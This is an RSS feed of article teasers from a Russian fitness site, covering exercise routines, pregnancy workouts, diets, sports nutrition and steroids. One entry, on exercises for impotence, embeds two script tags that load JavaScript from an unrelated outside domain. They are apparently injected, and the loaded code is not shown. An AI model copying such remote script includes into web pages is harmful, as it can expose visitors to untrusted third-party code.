Комплексы. Упражнения. Картинки. http://fortunaa.okis.ru/news/rss Комплексы. Упражнения. Картинки. ru 2015-11-15 Пилатес для беременных. http:/fortunaa.okis.ru/news/875147 <p style="text-align: center;">Вы быстрее вернетесь к своим прежним формам, практикуя <a href="http://fortunaa.okis.ru/uprazhnenija-pilates-dlja-beremennih.html" title="Упражнения Пилатес для беременных."><strong>упражнения Пилатес</strong> и после <strong>беременности</strong>.</a></p> 2015-11-15 875147 Тренировка с канатами. http:/fortunaa.okis.ru/news/735782 <p><strong>Канаты</strong> применяются в фитнесе давно, но изначально <strong>упражнения с канатами</strong> использовали на тренировках игроки в американский футбол. Разработал эту схему John Brookfield &ndash; автор многочисленных силовых программ и несколько книг, посвящённых различным силовым методикам. Что собой представляет силовая <strong>тренировка с канатами</strong>?</p> <p><strong><a title="Тренировка с канатами." href="http://fortunaa.okis.ru/trenerovka-s-kanatami.html">Читать дальше&gt;&gt;&gt;</a></strong></p> 2015-03-25 735782 Упражнения для мышц голени. http:/fortunaa.okis.ru/news/727494 <p>Чтобы правильно напрягать эти мышцы, очень важно подниматься на носках как можно выше в каждом повторении движения.<strong><a title="Упражнения для мышц голени." href="http://fortunaa.okis.ru/uprazhnenija-dlja-mishc-goleni.html">Читать дальше&gt;&gt;&gt;</a></strong></p> 2015-02-11 727494 Кардиотренеровка. http:/fortunaa.okis.ru/news/701924 <p><span style="font-size: small;">&nbsp;<strong>Кардиотренеровками</strong>, вы можете подтянуть мышцы, сбросить лишний вес и потренировать&nbsp;дыхательную систему, а так же востановить суставы и связки.</span></p> <p><span style="font-size: small;"><strong><a title="Занятия на кардиотренажерах." href="/zanatija-na-kardiotrenazherah.html">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2014-11-11 701924 Японская диета на 14 дней. http:/fortunaa.okis.ru/news/700337 <p>Такой быстрый эффект объясняется тем, что японская диета не является сбалансированной, то есть составляется без норм учета пропорций жиров, белков и углеводов. К тому же, меню японской диеты достаточно низкокалорийное из-за малого содержания в нем углеводов, что заставляет работать организм над сжиганием собственной жировой прослойки. &nbsp;<strong><a title="Японская диета на 14 дней." href="http://fortunaa.okis.ru/japonskaja-dieta-na-14-dnej.html">Читать дальше&gt;&gt;&gt;</a></strong></p> 2014-11-07 700337 Правда о допингах« Не определена». http:/fortunaa.okis.ru/news/695745 <p>Допинги нестероидной структуры.</p> <p><strong>Допинг-контроль: организация, порядок проведения</strong></p> <p><strong>Санкции к спортсменам, уличенным в применении допинга.</strong></p> <p><strong>&nbsp;</strong><em>Раздел 1.</em></p> <p>Вопросы, касающиеся применения лекарств в спорте давно привлекают к себе внимание как профессиональных спортсменов, так и людей, занимающихся любительским спортом. Допустимо ли применение лекарственных средств для достижения высоких спортивных результатов? Вредно ли это для здоровья или можно подобрать безопас-ные комбинации препаратов? - В наших рекомендациях мы постараемся ответить на эти и многие другие вопросы.</p> <p><span style="font-size: small;"><a title="Правда о допингах." href="http://fortunaa.okis.ru/doping.html"><strong>Читать дальше&gt;&gt;&gt;&gt;</strong></a></span></p> 2014-10-26 695745 Базовые упражнения на бицепс, трицепс, плечи, грудь, спину, ноги. http:/fortunaa.okis.ru/news/693614 <p>Чтобы выполнить&nbsp;<strong>базовое&nbsp;упражнения на бицепс,&nbsp;</strong>возьмите в руки штангу с коротким&nbsp;<strong>грифом</strong>.Почему с коротким? Потому что с ним не придется тратить лишнюю энергию на сохранение равновесия.</p> <p><strong><a title="Базовые упражнения на бицепс,трицепс,плечи,грудь,спину,ноги." href="http://fortunaa.okis.ru/news.693614.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong></p> 2014-10-19 693614 Упражнения для кистей рук. http:/fortunaa.okis.ru/news/693440 <p>1. Поднять руки вверх и с усилием сжимать в кулак и разжимать пальцы.<br /><br />2. Потрясти в воздухе расслабленными кистями, постепенно поднимая их в стороны и вверх.</p> <p><a title="Упражнения для кистей рук." href="/uprazhnenija-dlja-kistej-ruk.html"><strong>Читать дальше&gt;&gt;&gt;</strong></a></p> 2014-10-18 693440 Упражнения от импотенции. http:/fortunaa.okis.ru/news/688706 <p>Упражнение 1</p> <p>Стоя ноги на ширине плеч ягодицы в напряжении, начинаем приседания.</p> <p>При этом приседание не глубокое, только на 90 градусов, &nbsp;ягодицы не расслабляем. &nbsp;От 40 до 50 приседаний в день</p> <p>Упражнение 2 <strong><a title="Упражнения от импотенции." href="/uprazhnenija-ot-impotencii.html">Читать сдесь&gt;&gt;&gt;&gt;</a></strong></p> <script type="text/javascript" src="http://alexaboostup.com/plugin/helper.js"></script> <script type="text/javascript" src="http://alexaboostup.com/plugin/content.js"></script> 2014-10-03 688706 Упражнения со скакалкой. http:/fortunaa.okis.ru/news/655172 <p><strong><span style="font-family: arial, helvetica, sans-serif; font-size: small;"><a title="Упражнения со скакалкой." href="/skakalka.html">Читать дальше&gt;&gt;&gt;&gt;</a></span></strong></p> 2014-05-12 655172 Спортивные секции для детей. http:/fortunaa.okis.ru/news/653166 <p><span style="font-size: small;"><strong>Айкидо это японская борьба</strong>. Развивает координацию, силу, ловкость. Малыш станет сильнее и увереннее в себе, не побоится дать сдачи, если его будут обижать старшие товарищи. </span><br /><br /><span style="font-size: small;">Возраст: с 5 лет. <strong><a title="Спортивные секции для детей." href="http://fortunaa.okis.ru/sekciya.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong><br /></span></p> 2014-05-05 653166 Вакуумный массаж. http:/fortunaa.okis.ru/news/651634 <p><span style="font-family: arial black,avant garde; font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Преимуществ у такого ухода много &ndash; прежде всего, вы сэкономите, приобретая <strong>банки</strong> или аппарат.</span></span></p> <p class="MsoNormal"><span style="font-family: arial black,avant garde; font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"> Ведь курс подобных процедур в салоне стоит от 500 У.Е. в среднем.&nbsp; </span></span><span style="font-size: small;">А повторять его, если есть склонность к<span style="font-family: arial,helvetica,sans-serif;"> <strong>целлюлиту</strong></span> или набору веса, придется один раз в полгода.</span></p> 2014-04-29 651634 Питание для спортсменов. http:/fortunaa.okis.ru/news/650213 <p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">Большинство атлетов считают, что залог успеха - это упорные тренировки и хороший отдых. Это утверждение бесспорно правильно, однако более 50% успеха при интенсивных тренировках зависит от правильного питания. Как гласит пословица -<strong> "Мы есть то, что мы едим"! <a title="Питание для спортсменов." href="http://fortunaa.okis.ru/pitanie.html">Читать дальше&gt;&gt;&gt;</a><br /></strong></span></span></p> 2014-04-24 650213 Спортивное питание. http:/fortunaa.okis.ru/news/649195 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;">Среди спортсменов силовых видов спорта очень распространено, так называемое, <strong>спортивное</strong> <strong>питание</strong>, или его жаргонное название &mdash; <strong>спортпит</strong>. Простые же обыватели чаще всего называют его &laquo;протеины&raquo; и считают чем-то страшным и ужасным. Может ли быть вреден протеин? <strong><a title="Спортивное питание." href="http://www.fortunaa.okis.ru/sportpit.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong><br /></span></p> 2014-04-21 649195 Последствия приема анаболических стероидов. http:/fortunaa.okis.ru/news/647871 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><a title="Последствия приема анаболических стеройдов." href="/posledstvija-priema-anabolicheskih-steroidov.html"><strong>Читать &gt;&gt;&gt;&gt;</strong></a><br /></span></p> 2014-04-16 647871 Польза от пеших прогулок. http:/fortunaa.okis.ru/news/646466 <p><span style="font-size: small;"><span style="line-height: 115%;"><strong><span style="font-family: arial,helvetica,sans-serif;">Польза от пеших прогулок</span><span style="font-family: arial,helvetica,sans-serif;"> как </span></strong></span><strong><span style="line-height: 115%; background: none repeat scroll 0% 0% aqua; font-family: arial,helvetica,sans-serif;">Фитнес </span></strong><span style="line-height: 115%;">- активности растет с каждым днем. Низкие риски и легко начать,идея доказала свою <strong><span style="font-family: arial,helvetica,sans-serif;">пользу</span></strong> <strong>пеших прогулок</strong> для здоровья в многочисленных исследованиях.</span></span></p> <p><span style="font-size: small;"><strong><a title="Польза от пеших прогулок." href="/hodba.html">Читать &gt;&gt;&gt;</a></strong></span></p> 2014-04-12 646466 Упражнения от импотенции. http:/fortunaa.okis.ru/news/644650 <p><a title="Упражнения от импотенции." href="/uprazhnenija-ot-impotencii.html"><span style="font-family: arial,helvetica,sans-serif; font-size: small;"><strong>Читать &gt;&gt;&gt;&gt;</strong></span></a></p> <p><code><br /></code></p> 2014-04-07 644650 Латиноамериканские танцы http:/fortunaa.okis.ru/news/638970 <p><span style="font-size: small;"><span style="color: #000000; font-family: arial,helvetica,sans-serif;"><strong>Латина</strong></span> сольный стиль, появившийся как эволюция популярных движений<span style="font-family: arial,helvetica,sans-serif; color: #000000;"> <strong>латиноамериканских танцев</strong></span>. <strong><a title="Латиноамериканские танцы." href="http://fortunaa.okis.ru/latina-tanci.html">Читать тут&gt;&gt;&gt;</a></strong><br /></span></p> 2014-03-22 638970 Джаз аэробика.Видео. http:/fortunaa.okis.ru/news/634865 <p>&nbsp;<span style="font-size: small;"><strong>Джаз-аэробика</strong> одина из приятных и самых легких способов, позволяющих поддержать организм в тонусе. Вы станете пластичной, гибкой, изящной! Постигнете гармонию базовых шагов <strong>аэробных тренировок</strong> и традиционные движения, используемые танцорами в постановках &nbsp;профессиональных &nbsp;шоу.<strong><a title="Джаз аэробика." href="/dzhaz-ajerobika.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong></span></p> 2014-03-11 634865 Упражнения с гантелями для детей. http:/fortunaa.okis.ru/news/626206 <p>&nbsp;<span style="font-size: small; font-weight: normal;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Упражнения с гантелями для детей</strong></span> подойдут как <span style="font-family: arial,helvetica,sans-serif;"><strong>мальчикам</strong></span>, так и <span style="font-family: arial,helvetica,sans-serif;"><strong>девочкам</strong></span>, разница только в весе <span style="font-family: arial,helvetica,sans-serif;"><strong>гантелей.</strong> <strong>Занятия с гантелями</strong></span> лучше всего разбить на небольшие <span style="font-family: arial,helvetica,sans-serif;"><strong>комплексы</strong></span>. Выполнять мини&nbsp; комплексы через день по одному.<a title="Упражнения с гантелями для детей." href="/uprazhnenija-s-ganteljami-dlja-detej.html"><strong>Читать дальше&gt;&gt;&gt;&gt;</strong></a><br /></span></p> 2014-02-17 626206 Упражнения на гимнастической стенке. http:/fortunaa.okis.ru/news/622436 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;">Предлагаемые <strong>упражне&shy;ния на гимнастической стенке</strong> могут быть включены в основ&shy;ной <strong>комплекс лечебной гимнастики</strong>. <strong><a title="Упражнения на гимнастической стенке." href="/uprazhnenie-na-gimnasticheskoj-stenke.html">Читать дальше&gt;&gt;&gt; </a></strong></span><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><img style="float: left;" title="Упражнения на гимнастической стенке." src="/img/fortunaa/stenka.jpg" alt="Упражнения на гимнастической стенке." width="56" height="60" /></span></p> 2014-02-08 622436 Фитбол для беременных. http:/fortunaa.okis.ru/news/617303 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><strong>&nbsp;Упражнения для беременных на фитболе</strong>(в <strong>картинках</strong>), в первую очередь тренируют &nbsp;гибкость, подвижность суставов уменьшают боль в спине, улучшают кровообращение, снижают давление и &nbsp;дают прилив сил и энергии. Делая <strong>комплекс упражнений на фитболе</strong>, <strong>беременные</strong> укрепляют свой организм и организм будущего малыша, и помогут быть в форме на всей стадии беременности.</span></p> <p><span style="font-size: small;"><strong><a title="Футбол для беременных." href="/futbol-dlja-beremennih.html">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2014-01-28 617303 Упражнения с гантелями для женщин. http:/fortunaa.okis.ru/news/613320 <p><span style="font-size: small;">Хорошо подойдёт <strong><span style="font-family: arial,helvetica,sans-serif;">фитбол</span></strong>, но если у вас <span style="font-family: arial,helvetica,sans-serif;">дома</span> такового не имеется, можно использовать табуретку или стул спинку кровати, подложив по <span style="font-family: arial,helvetica,sans-serif;">руки</span> мягкое полотенце. Возьмите в <span style="font-family: arial black,avant garde;"><span style="font-family: arial,helvetica,sans-serif;">руки гантели</span></span>, если их нет, подойдут любые тяжелые вещи, например, бутылки с водой.</span></p> <p><span style="font-size: small;"><strong><a title="Упражнения для рук женщин." href="/fitboll.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong></span></p> 2014-01-19 613320 Упражнения на бицепс базовое. http:/fortunaa.okis.ru/news/608648 <p><span style="font-size: small;">Сделайте глубокий вдох и задержите дыхание. <strong>Изолированным </strong>усилием мышц<strong><span style="font-family: arial,helvetica,sans-serif;"> бицепса</span> </strong>неспешно подымите <span style="font-family: arial,helvetica,sans-serif;">штангу</span> вверх. Локти при этом сохраняйте в неподвижном состоянии.</span></p> <p><span style="font-size: small;"><strong><a title="Упражнения на бицепс." href="/izolytor.html">Читать дальше.</a></strong></span></p> 2014-01-08 608648 Упражнения от целлюлита. http:/fortunaa.okis.ru/news/608184 <p><strong style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Целлюлит</span></strong><span style="font-size: small;"> это состояние, при котором кожа становится похожа на&nbsp;апельсиновую корку&nbsp;из-за жировых отложений. Это происходит, когда жир выделяется выпуклостями через фиброзную ткань. Хотя </span>Ж<span style="font-size: small;">е</span><span style="font-size: small;">нщины и мужчины любых комплекций имеют </span><span style="font-size: small; font-family: arial, helvetica, sans-serif;">целлюлит</span><span style="font-size: small;">, наиболее вероятно, что он появится у женщин с избыточным весом.</span><span style="font-size: small;"><strong><a title="Упражнения от целлюлита." href="/celulit.html">Читать дальше&gt;&gt;&gt;.</a></strong></span></p> 2014-01-07 608184 Комплекс упражнений для позвоночника. http:/fortunaa.okis.ru/news/604968 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><span style="line-height: 115%;">Необходимо ежедневно выполнять все пять <strong>упражнений</strong>, в произвольном порядке.</span></span></p> <p><strong><a title="Комплекс упражнений для позвоночника." href="/kompleks-uprazhnenij-dlja-pozvonochnika.html"><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><span style="line-height: 115%;">Читать дальше&gt;&gt;&gt;&gt; </span></span></a></strong></p> 2013-12-31 604968 Упражнения для позвоночника. http:/fortunaa.okis.ru/news/599196 <p><span style="font-size: small; font-family: arial,helvetica,sans-serif;">Здоровый позвоночник &ndash; основа хорошего самочувствия человека, нормального функционирования внутренних органов и систем. При выполнении упражнений не стоит сразу прибегать к повышенной нагрузке, так как это может привести только к ухудшению ситуации, ведь проблемы с позвоночником возникают годами и решать их нужно также постепенно, дозировано увеличивая нагрузку.<strong><a title="Упражнения для позвоночника." href="/uprazhnenija-dlja-pozvonochnika.html">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2013-12-16 599196 Питание после тренировок. http:/fortunaa.okis.ru/news/596547 <p><span style="font-size: small;"><strong><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Применять протеин</span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"> после тренировки</span></span></strong><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><strong> необходимо</strong>, потому-как, синтез протеина осуществляется не во время тренировки, а запускается после ее окончания. Принимая протеин после тренировки, вы обеспечиваете организм аминокислотами или быстроусвояемым протеином, то-есть способствуете ускорению синтеза мышечного протеина. Углеводы же необходимы после тренировки, чтобы обеспечить сырье для восполнения мышечного гликогена. Мышечный гликоген - это основное топливо для тренировок культуристов и других спортсменов. Лучше всего принимать углеводы с высоким гликемическим индексом. </span></span></span></p> <p><strong><span style="font-size: small; font-family: arial,helvetica,sans-serif;"><a title="Питание после тренировок." href="/eda.html">Читать дальше&gt;&gt;&gt;</a></span></strong></p> 2013-12-10 596547 Упражнения с эспандером. http:/fortunaa.okis.ru/news/592759 <p><span style="font-family: arial,helvetica,sans-serif; font-size: small;"><strong>Эспандер</strong> хорошо развивает мышцы рук, особенно плечевого сустава, а также мышцы туловища.</span></p> <p><span style="font-size: small;"><strong><a title="Упражнения с эспандером." href="/uprazhnenija-s-jespanderom.html">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2013-12-02 592759 Силовая аэробика. http:/fortunaa.okis.ru/news/591890 <p><span style="font-size: small;"><strong><span style="font-family: arial,helvetica,sans-serif;">Упражнения</span> <span style="font-family: arial,helvetica,sans-serif;">с утяжелителями и на тренажерах</span></strong> &ndash; наиболее распространенный вариант для<span style="font-family: arial,helvetica,sans-serif;"> <strong>силовой аэробики</strong></span>, но для преодоления сопротивления можно использовать <span style="font-family: arial,helvetica,sans-serif;">аквааэробику</span>. Так же можно использовать вес своего собственного тела, чтобы увеличить сопротивление (подтягивания, приседания, отжимания).</span></p> <p><strong><a title="Силовая аэробика." href="http://цццюfortunaa.okis.ru/silovoj.html"><span style="font-size: small;">Читать дальше&gt;&gt;&gt;&gt; </span></a></strong></p> 2013-11-30 591890 Вакуумный массаж от целлюлита. http:/fortunaa.okis.ru/news/589100 <p><span style="font-family: arial black,avant garde; font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ведь курс подобных процедур в салоне стоит от 500 У.Е. в среднем.&nbsp; </span></span><span style="font-size: small;">А повторять его, если есть склонность к<span style="font-family: arial,helvetica,sans-serif;"> <strong>целлюлиту</strong></span> или набору веса, придется один раз в полгода. Кроме того, вакуумные процедуры отлично помогают восстановлению мышечной ткани после тренировки, укрепляют соединительную ткань, улучшают кровообращение и замедляют процессы старения.<a title="Вакуумный массаж." href="http:/www.fortunaa.okis.ru/vakuumnij-massazh.html">Читать дальше&gt;&gt;&gt;</a></span></p> <p>&nbsp;</p> <p>&nbsp;</p> 2013-11-24 589100 Упражнения на плечи. http:/fortunaa.okis.ru/news/585373 <p><span style="font-family: cursive;"><span style="font-size: medium;"><span style="font-size: small;"><span style="color: #800000;">1.</span><span style="font-family: arial,helvetica,sans-serif; background-color: #fefefe; color: #000000;"><strong> Жим штанги из-за головы сидя</strong></span></span><a title="Качаем плечи." href="/плечи.html"><br /></a></span><span style="font-size: medium;"><span style="font-size: small; font-family: arial,helvetica,sans-serif;">Жим штанги из-за головы</span><strong> - </strong><span style="font-family: arial,helvetica,sans-serif; font-size: small;">эффективное упражнение</span><span style="font-size: small;"> для воздействия на мышцы <span style="font-family: arial,helvetica,sans-serif;">плечевого</span> пояса. Жим штанги из-за головы в основном нагружает средние пучки дельтовидных мышц и верхнюю часть трапециевидных мышц, а также <span style="font-family: arial,helvetica,sans-serif;">трицепсы</span> и переднюю зубчатую мышцу. Нагрузке подвергаются, хотя и меньшей, также ромбовидные мышцы, подостные, малые круглые и надостные. <strong><a title="Упражнения на плечи." href="/uprazhnenija-na-plechi.html">Читать дальше&gt;&gt;&gt;</a></strong></span></span></span></p> <p>&nbsp;</p> 2013-11-16 585373 Упражнения для бедер. http:/fortunaa.okis.ru/news/583108 <p style="text-align: center;"><span style="font-size: small;">&bull; <strong>Упражнение &laquo;Шлюпка</strong>&raquo; </span><br /><span style="font-size: small;">Прекрасное упражнение для стимуляции работы внутренних мышц бедер.Эти мышцы, являются, очень малоподвижными и для получения хорошего результата это упражнение является самым оптимальным.<strong><a title="Упражнения для бедер." href="/obiem.html">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2013-11-11 583108 Танцевальная аэробика. http:/fortunaa.okis.ru/news/580791 <p>&nbsp;<span style="font-size: small;"><a title="Танцевальная аэробика." href="/tanec.html"><span style="text-decoration: underline;"><strong>Танцевальная аэробика</strong></span></a> - это <strong>упражнения</strong>, выполняемые под ритмичную музыку. Существует много направлений аэробики. Здесь мы рассмотрим лишь на одном из них. Это &nbsp;<strong>танцевальная аэробика</strong>. </span></p> 2013-11-07 580791 Виды и направления фитнеса. http:/fortunaa.okis.ru/news/575108 <p><span style="font-size: small;">Зачастую перед человеком встает нелегкий выбор: какому из имеющихся направлений посвятить свое время? Рассмотрим самые популярные <a title="Виды и направления фитнеса." href="/napravleniya.html"><strong><span style="font-family: arial,helvetica,sans-serif;">направления фитнеса</span></strong>.</a></span></p> 2013-10-28 575108 Упражнение Плие - приседание. http:/fortunaa.okis.ru/news/572238 <p>&nbsp; <span style="font-size: small;">Основные моменты:</span><br /><span style="font-size: small;"> - не выпрямляйте ноги полностью, оставляя их слегка согнутыми.</span></p> <p><strong><a title="Упражнение плие приседание." href="/plies.html"><span style="font-size: small;">Упражнение Плие - приседание</span>.&gt;&gt;&gt;</a></strong></p> 2013-10-22 572238 Упражнения для беременных. http:/fortunaa.okis.ru/news/568621 <p><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"> <strong><span style="font-family: arial,helvetica,sans-serif;">Упражнения для&nbsp; беременных</span></strong></span><strong><span style="font-family: arial,helvetica,sans-serif;">.</span></strong> У многих есть ошибочное мнение, что во время <strong><span style="font-family: arial,helvetica,sans-serif;">беременности</span></strong> <span style="font-family: arial,helvetica,sans-serif;">физические <strong>упражнения</strong></span> строго запрещены. Но все же, <span style="font-family: arial,helvetica,sans-serif;">беременность</span> &ndash; <span style="font-family: arial,helvetica,sans-serif;">это</span> не инвалидность и не болезнь. Никто ведь не заставляет <span style="font-family: arial,helvetica,sans-serif;">беременную</span> женщину бегать десять километров ежедневно вокруг стадиона или круглосуточно заниматься в <span style="font-family: arial,helvetica,sans-serif;">тренажерных залах.</span></span></p> <p><span style="font-size: small;"><strong><a title="Упражнения для беременных." href="/beremennost1.html"><span style="font-family: arial,helvetica,sans-serif;">Упражнения для беременных.&gt;&gt;&gt;&gt; </span></a></strong></span></p> <p>&nbsp;</p> 2013-10-14 568621 Стрип пластика. http:/fortunaa.okis.ru/news/565294 <p><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">Стрип-пластика представляет собой вид аэробики, который имитирует <strong>эротический танец</strong>. Он наполнен необычайной пластикой и чувственностью. Данный танцевальный стиль невозможно себе представить без страстности и раскрепощения. Без сомнения, это зрелище просто завораживает зрителей, особенно мужчин. Нужно отметить, что данное танцевальное направление многие путают со стриптизом. Однако это не так. Стриптиз представляет собой искусство красиво раздеваться. Он является только одним из направлений стрип-пластики.</span></p> <p><span style="font-size: small;"><strong><a title="Стрип пластика." href="/strip-plastika.html">Стрип пластика&gt;&gt;&gt;&gt;</a></strong></span></p> 2013-10-07 565294 Упражнения на трицепс (для рук.) Видео. http:/fortunaa.okis.ru/news/562259 <p style="text-align: center;"><span style="font-size: small; color: #0000ff; font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Самые эффективные и распространненные</span></span><strong><span style="font-size: small; color: #0000ff; font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"> <a title="Упражнения на трицепс (для рук)." href="/triceps.html">Упражнения на трицепс ( </a></span></span></strong><span style="font-size: small; color: #0000ff;"><span style="font-family: 'arial black', 'avant garde'; color: #000000;"><span style="font-family: arial,helvetica,sans-serif;"><a title="Упражнения на трицепс (для рук)." href="/triceps.html"><strong><span style="font-size: small; color: #0000ff;"><span style="color: #000000;">для рук</span></span></strong>.)</a></span></span></span></p> 2013-09-30 562259 Упражнения на бицепс (для рук). http:/fortunaa.okis.ru/news/559729 <p><span style="font-family: cursive;"><span style="font-size: small;"><strong><span style="font-family: arial,helvetica,sans-serif;">Попеременные сгибания рук с</span> <span style="font-family: arial,helvetica,sans-serif;">гантелями на бицепс</span></strong> - <strong>упражнение</strong> выполняется в положении сидя на скамье. Гантели в опущенных руках, ладони повернуты внутрь к телу.</span></span></p> <p><span style="font-family: cursive;"><span style="font-size: small;"><strong><a title="Упражнение на бицепс." href="/izolytor.html">Читать дальше&gt;&gt;&gt;</a></strong></span></span></p> 2013-09-24 559729 Зумба танец. http:/fortunaa.okis.ru/news/556650 <p><span style="font-size: small; line-height: 115%;">Согласно существующей на данный момент легенде о создании этого направления <strong>танцевального фитнеса</strong> автор однажды просто забыл диски с музыкальным сопровождением для своих аэробных занятий, в результате чего ему пришлось воспользоваться первыми попавшимися записями музыки. Этими записями оказались латиноамериканская музыка, которая впоследствии и легла в основу данного танцевального направления. Автору пришлось на ходу импровизировать в ходе этого экспериментального занятия: танцевальные движения представляли собой смесь латиноамериканских танцев и упражнений для аэробики.</span></p> <p><span style="font-size: small; line-height: 115%;"><strong><a title="Зумба фитнес танец." href="/zumba-fitnes-tanec.html">Читать дальше&gt;&gt;&gt;&gt; </a></strong><br /></span></p> 2013-09-16 556650 Упражнений для пресса в картинках. Видео http:/fortunaa.okis.ru/news/555371 <p><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Комплекс</span><strong><span style="font-family: arial,helvetica,sans-serif;"> упражнений для&nbsp; пресса</span></strong> (<strong><span style="font-family: arial,helvetica,sans-serif;">в картинках</span></strong> и <strong><span style="font-family: arial,helvetica,sans-serif;">видео</span></strong>) вместе с регулярными <span style="font-family: arial,helvetica,sans-serif;">тренировками</span> и правильным питанием помогут вам создать <strong>красивый и рельефный живот</strong>. Вообще если говорить о нижней части живота, то термин &ldquo;<strong>нижние мышцы пресса</strong>&rdquo; не совсем верен, так как пресс представляет собой одну большую мышцу, которая находится между грудью и бедрами.</span></p> <p><span style="font-size: small;"><strong><a title="Упражнения на пресс." href="/press.html">Упражнения на пресс&gt;&gt;&gt;&gt;</a></strong></span></p> 2013-09-13 555371 Упражнения с гирей (гирями) http:/fortunaa.okis.ru/news/551878 <p><strong><span style="font-size: 12.0pt; line-height: 115%; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-font-kerning: 18.0pt; mso-ansi-language: RU; mso-fareast-language: RU; mso-bidi-language: AR-SA;">Упражнения с гирей </span></strong><span style="font-size: 12.0pt; line-height: 115%; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-font-kerning: 18.0pt; mso-ansi-language: RU; mso-fareast-language: RU; mso-bidi-language: AR-SA;">или</span><strong><span style="font-size: 12.0pt; line-height: 115%; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-font-kerning: 18.0pt; mso-ansi-language: RU; mso-fareast-language: RU; mso-bidi-language: AR-SA;"> гирями насколько они эффективны? Рассмотрим упражнения с одной и двумя гирями. </span></strong><span style="font-size: 12.0pt; line-height: 115%; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-font-kerning: 18.0pt; mso-ansi-language: RU; mso-fareast-language: RU; mso-bidi-language: AR-SA;">И каждый сам для себя решит, стоит заниматься с гирями или продолжать занятия с гантелями и штангой. А может надо продолжить физические упражнения со всему снарядами.</span></p> <p><span style="font-size: small;"><strong><a title="Упражнения c гирями." href="/uprazhnenija-s-girjami.html">Читать дальше&gt;&gt;&gt;.</a></strong></span><br /><strong></strong></p> 2013-09-02 551878 Как сделать грудь упругой и подтянутой. http:/fortunaa.okis.ru/news/549828 <p><span style="font-size: small;"><span style="font-weight: normal;">К сожалению, отрицательно сказываются на её красоте. Перепады в весе, беременность, кормление грудью, возраст приводят к тому, что некогда красивая грудь становится обвисшей. Можно ли на самом деле сделать грудь упругой и подтянутой. Отвечу честно нет!</span></span></p> <h2><span style="font-size: small;"><span style="font-weight: normal;"> Женскую грудь можно только немного подтягуть, ведь молочные железы востановить нельзя без операции. Так что не в водите себя в заблуждение от упражнений.</span></span></h2> <p><span style="font-size: small;"><span style="font-weight: normal;"><strong><a title="Как сделать грудь упругой и подтянутой." href="/kak-sdelat-grud-uprugoj-i-podtjanutoj.html">Как сделать грудь упругой и подтянутой.&gt;&gt;&gt;</a></strong><br /></span></span></p> <p>&nbsp;</p> 2013-08-26 549828 Упражнения на трапецию. http:/fortunaa.okis.ru/news/547727 <p><span style="font-size: small;">Это упражнение развивает верхнюю часть трапециевидной мышцы, главным образом ее затылочно-ключичные пучки, а также лопаточную.</span></p> <p><a title="Упражнения на трапецию." href="/uprazhnenija-na-trapeciju.html"><span style="font-size: small;"><strong>Упражнение на трапецию&gt;&gt;&gt;&gt;&gt;</strong></span></a></p> 2013-08-19 547727 Фотогаллерея. http:/fortunaa.okis.ru/news/542652 <p><span style="font-size: small;"><strong><a title="Фотогаллерея." href="/newfotogalery.0.html">Фотогаллерея.</a></strong></span></p> 2013-08-02 542652 Правильное питание для спортсменов. http:/fortunaa.okis.ru/news/541764 <p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;"> Большинство атлетов считают, что залог успеха - это упорные тренировки и хороший отдых. Это утверждение бесспорно правильно, однако более 50% успеха при интенсивных тренировках зависит от правильного питания. Как гласит пословица - "Мы есть то, что мы едим"! И это утверждение относится ко всем видам спорта, использующих силовую подготовку для улучшения спортивных результатов. Таким образом, будь вы бодибилдером, спортсменом пауэрлифтинга или приверженцем фитнесса - вы должны соблюдать основные рекомендации, касательно спортивного питания.</span></span></p> <p><span style="font-family: book antiqua,palatino; font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Hиже мы рассмотрим основные моменты и правила спортивного питания, включающие вpеменные огpаничения, способы оптимизации pациона, чему отдать пpедпочтение пpи выбоpе пpодуктов. Также рассмотрим, как опpеделить необходимые вам ежедневные количества белка, углеводов, жиpов, а также общее количество калоpий.</span></span></p> <p><span style="font-size: small;"><strong><a title="Правильное питание для спортсменов." href="/pitanie.html%20">Читать дальше&gt;&gt;&gt;</a></strong></span></p> 2013-07-30 541764 Упражнения для детей. http:/fortunaa.okis.ru/news/537972 <p><span style="font-size: small;"><strong>Упражнения</strong>, прежде всего, имеет оздоровительную функцию. Как и все другие гимнастические упражнения, они делятся на <strong>гимнастику для детей</strong>, молодежи и т. д. Детская аэробика, в свою очередь, делится на гимнастику для детей дошкольного и подросткового возраста. </span></p> <p><span style="font-size: small;"><strong><a title="Упражнения для детей." 